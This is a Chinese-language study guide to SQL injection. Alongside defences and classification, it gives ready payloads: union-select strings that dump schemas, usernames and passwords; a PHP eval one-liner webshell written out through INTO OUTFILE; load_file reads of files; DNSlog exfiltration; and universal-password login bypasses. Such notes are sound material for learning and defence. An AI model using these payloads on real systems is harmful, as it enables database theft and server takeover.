SQL注入的原理:

  • 对用户提交的参数没有过滤,导致传入的数据拼接到SQL语句中被直接带入数据库执行查询操作。

SQL注入的危害:

  • 暴露敏感数据、数据被窃、数据篡改、网页篡改、写入网站后门、获取系统操作权限等
  • 只要权限高,可以脱库 如果有写入权限,可以写入webshell 可以对数据库进行增删改查操作 可以逐步进行提权操作服务器

SQL注入的防御:

  • 限制传入数据类型、 预编译和绑定变量、 统一编码、 PDO预处理正则过滤、 关闭错误信息输出、 使用WAF拦截、下载相关防范注入的文件,通过incloud包含放在网站配置文件里面

SQL注入的修复:

  • 在网页代码中对用户输入的数据进行严格过滤(代码层)
  • 部署Web应用防火墙(设备层)
  • 对数据库操作进行监控(数据库层)
  • 彻底解决-只能代码层

SQL注入漏洞检测方法

  • 单引号(页面可能报错)、and 1=1、and 1=2(两次页面是否一样)、and mod(2,1)in(1)求余运算、sleeep(3)时间延时、xor 1=2 异或运算、%26%26 1=1,2(&&url编码=%26)、and true,and flase(等号给注释了)

怎么找sql注入点(sql注入思路)

  • 与数据库交互的页面、登录页面、更新的地方、注册的地方、修改密码的地方、带参数的地方、查询删除的地方、增删改查、http头(user-agent[指纹信息]、cookie[账号信息]、IP地址头)

SQL注入的流程

找与数据库存在交互的页面和带参数的地方,判断注入的类型,判断后端数据库类型,判断语句是否被成功执行,判断当前环境可以利用的注入方式,判断后端安全方式,先判断注入点类型,利用单引号或者and 1=1或 and 1=2看页面是否报错,确定注入点后,利用 order by 测试字段数,利用联合查询 union select + 字段,爆出准确字段后,用database()进行替换得信息,利用 information_schema 数据库获取表名,还可以写入webshell,用bp挂字典猜解表名,拿到权限开启3389

https://1oecho.github.io/all-in-sql/

  • 判断注入的类型(字符,数字,搜索…)

  • 判断后端数据库类型(Oracle,MySQL,Mssql,PostgreSql…)

  • 判断语句是否被成功执行(构造差异条件…)

  • 判断当前环境可以利用的注入方式(sqlmap的分类: 堆叠注入,联合查询,报错注入,布尔盲注,时间盲注..利用效率从高到低)

  • 判断后端安全方式(无防护,黑名单,白名单,WAF…利用难度依次递增)

SQL注入的条件:

  • 参数用户可控:前端传给后端的参数内容是用户可以控制的
  • 参数带入数据库查询:传入的参数拼接到SQL语句,并且带入数据库查询

SQL注入成功的条件:

读文件操作

  • 知道文件的绝对路径、 能使用union查询、 web目录需要拥有写权限

写文件操作

  • 知道绝对路径、 对文件具有写权限、对单引号 ’ 未过滤

利用方式

  • union注入、 盲注、 报错注入、 堆叠注入、 宽字节注入、 http头注入

联合注入前提

  • 两个不同的表必须具有相同的字段数量才能进行联合查询

SQL注入的分类

分类依据 类型
注入点类型 数字型、 字符型、 搜索型(%vince% or 1=1)、 特殊型(username=(’xx‘) or 1=1)
提交方式 GET、 POST、 Cookie
注入方式 union注入、 堆叠注入、 报错注入、 布尔盲注、 时间盲注、 information_schema注入
其他注入方式 二次注入、 宽字节注入、 万能密码、 HTTP头注入(XF-F,U-A,Referer)

注:post提交和get提交区别:post提交的参数在请求体里面,get提交的参数在地址栏里,post注入必须抓包修改请求包写入参数提交即可 【sqlmap -r】

根据页面「是否回显」分类:

  1. 显注:前端页面可以回显用户信息,比如 联合注入、报错注入。
  2. 盲注:前端页面不能回显用户信息,比如 布尔盲注、时间盲注

即接受get提交又能接受post和cookie提交

  • 修改函数为:request

MySQL版本4和版本5的区别

  • 4:存在字符转义,不支持字句查寻
  • 5:有information_schema元数据库,通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。 通过dumpfile/outfile写入文件函数获取WebShell。

MYSQL默认的元数据库-information_schema(5.0以上版本才有这个库

  • information_schema.schemata:储存了数据库中所有库名
  • information_schema.tables:储存了数据库中所有表名
  • information_schema.columns:储存了数据库中所有列名

判断数据库类型

  • MySQL数据库特有的表:information_schema.tables,

  • access数据库特有的表:msysobjects,

  • SQLServer数据库特有的表:sysobjects,

可以用如下的语句判断数据库,哪个页面正常显示,就属于哪个数据库

1
2
3
4
5
6
判断是否是 Mysql数据库
http://....?id=1' and exists(select*from information_schema.tables) #
判断是否是 access数据库
http://....?id=1' and exists(select*from msysobjects) #
判断是否是 Sqlserver数据库
http://....?id=1' and exists(select*from sysobjects) #

DNSlog 注入

  • 即 DNS 外带查询是属于 Mysql 注入的一种方法,可以通过查询相应的 dns 解析记录,来获取我们想要的数据

DNSlog解决无回显

  • 使用场景

    • SQL盲注(linux系统不支持)
    • 命令执行无回显
    • xss无回显
    • ssrf无回显
  • 原理:向服务器提交注入payload的语句,攻击语句会进入数据库执行,但web不会回显,

    使用的函数:load_file

    使用dnslog条件:mysql-5版本以上,mysql.ini配置文件中:secure_filie_priv””值为空

    使用:sql攻击语句load_file后面接上dnslog生成的地址

    select load_file(concat(攻击语句+dnslog地址))

报错注入

常用函数

  1. updatexml()
  2. extractvalue()
  3. floor()
  4. exp()
  5. polygon()
  6. linestring()
  7. multiponint()
  • 在MYSQL中使用一些指定的函数来制造报错,从报错信息中获取设定的信息,updatexml 支持增删改查型注入 insert、updata、delete

条件

  • 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

宽字节注入

  • 条件:MySQL使用了GBK编码、 开启了PHP魔术模块magic_quotes_gpc():把单引号转义成了/反斜杠

  • 使用场景:特殊字符被转义

  • 使用方法:在单引号前加一个编码的汉字%df方式注入

  • 总结:就是单引号被干掉了,我们要使用%df把转义或者干掉的单引号占用它

    注:宽字节注入的时候payload不要有url编码,使用BP来调试

堆叠注入

  • 使用多条sql语句注入,中间用分号隔开

布尔盲注

  • WEB页面不会回显错误信息,只会返回ture和false真和假(boolean值只能是true和false)
  • 布尔盲注就是进行SQL注入之后,根据页面返回的True或False,来得到数据库中的相关信息
  • 页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注,一般使用Python脚本来枚举试错,脚本使用requests库完成GET请求

步骤

盲注一般用到的一些函数:ascii() 、substr() 、length(),exists()、concat()等。

  1. 确定布尔盲注注入点
  2. 判断查询结果长度:使用 length() 函数 判断查询结果的长度
  3. 枚举数据内容:使用 ascii() 和 substr() 函数,逐个字符地枚举出数据内容
自动化布尔盲注
  • 由于布尔盲注涉及大量重复的试错过程,通常会使用自动化脚本来执行。这些脚本会自动发送请求,并根据响应来判断每一步的条件是否成立,从而逐步获取数据

python自动化脚本原理:

  • 脚本中 boolean_blind_injection 函数,会尝试每一个可能的ASCII码值,并检查响应中是否包含true_condition字符串,如果包含,说明注入的条件成立,函数返回对应的字符

二次注入urldecode

  • 原理:使用了urldeode()、rawurldecode()、或者魔法模块GPC开启了把特殊字符单引号给转义了,则会导致二次解码生成单引号形成注入。【解码:单引号=%25、%25=单引号】

延时注入

  • 延时函数有sleep() 、benchmark()

获取数据库Web路径方法

  • 使用单引号报错,看返回信息
  • 右键查看网站源代码,有可能泄露物理路径
  • 通过百度Google搜索引擎搜索存在注入站点

MySQL写webshell

outfile:写入文件函数

利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以

条件

  • 有root权限 或 FILE权限,数据库的权限
  • gpc关闭(能使用单引号),magic_quotes_gpc=off
  • 知道网站的绝对路径
  • 有读写权限
  • secure-file-priv参数设置为空,该参数在mysql的配置中,为空不限制mysql导入导出

方式

  • union select 后写入
  • log 写入
  • lines terminated by 写入
  • lines starting by 写入

例:通过 select into outfile 实现,outfile是MySQL提供一个用来写入文件的函数

1
2
1union select 1,’<?php @eval($_REQUEST['123']);?>into outfile 路径
/var/www/tmp/a.php’#

load_file读取文件

1
1’ union select 1,load_file 路径 ‘/var/www/tmp/a.php’#

sqlmap使用os_shell拿到shell的三个条件

原理:是将脚本插入到数据库(也可以是日志)中,然后生成相应的代码文件,获取 shell 即可执行命令;–os-shell 就是使用 udf 提权获取 WebShell。也是通过 into oufile 向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件

利用条件

  • 具有高权限,数据库的权限
  • 转义功能关闭,GPC关闭
  • 知道网站的绝对路径
  • 文件不能覆盖写入
  • secure-file-priv为空

SqlServer写Webshell条件

  • 高权限,数据库的高权限
  • 知道绝对路径

写入方法

  • 差异备份写入shell
    • 1,先对数据库备份 2,创建一个写webshell的表 3,写入webshell 4,进行差异备份
  • log备份写入shell
  • 利用xp_cmdshell扩展存储

oracle写webshell条件

  • 有DBA权限
  • 知道绝对路径

写入方法

  • 使用文件访问包方法

伪静态

在SQLMap里,对于伪静态,只需要在怀疑存在注入的数字上加一个*号即可自己判断。

伪静态一般URL地址格式:

 1. http://test.com/php100/id/1/1
 2. http://test.com/php100/id/1.html

遇到这种情况可以直接对”.html“之前的参数加“'”进行判断是否存在注入

动态一般URL地址格式:http://test.com/php100/test.php?id=1

Sqlmap中伪静态哪里存在注入点就加*

sql注入绕过

https://github.com/BaizeSec/bylibrary/blob/main/docs/%E9%80%9F%E6%9F%A5%E8%A1%A8/sql%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E9%80%9F%E6%9F%A5%E8%A1%A8.md

order by --+ 判断字段数目

union select --+ 联合查询收集信息

id=1' and 1=2 UNION SELECT 1,2,database() --+ 查询当前数据库

id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+查询所有数据库

id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 查询表名

id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 查询列名

id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+ 查询字段值

MYsql常见函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
version():查询数据库的版本
user():查询数据库的使用者
database():数据库
system_user():系统用户名
session_user():连接数据库的用户名
current_user:当前用户名
`load_file():读取本地文件`
`outfile():写入文件函数`
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_complie_os:查看操作系统

concat(): 连接字符串功能
floor(): 取float的整数值(向下取整)
rand(): 取0~1之间的随机浮点值
group by: 根据一个或多个列对结果集进行分组并有排序功能
floor(rand(0)*2): 随机产生0或1
count() 对表中符合特定条件的所有行进行计数

exists:表示判断子查询是否存在记录,它返回的是truefalse字段。如果有记录返回,则返回true,否则返回为false
select 字段1, 字段2 from 表 where exists (子查询)

二、MySQL查询语句

1、在不知道任何条件时:

Select(要查询的字段名)from(库名.表名)

2、在知道一条已知条件时:

Select(要查询的字段名)from(库名.表名)where(已知条件的字段名=已知条件的值)

3、在知道两条已知条件时:

Select(要查询的字段名)from(库名.表名)where(已知条件1的字段名=已知条件1的值)and(已知条件2的字段名=已知条件2的值)

常用万能密码登录

  • 没有对登录密码的字符串进行参数化和过滤
  1. “or “a”=”a

  2. ‘)or(‘a’=’a

  3. or 1=1–

  4. ‘or 1=1–

  5. a’or’ 1=1–

  6. “or 1=1–

  7. ‘or’a’=’a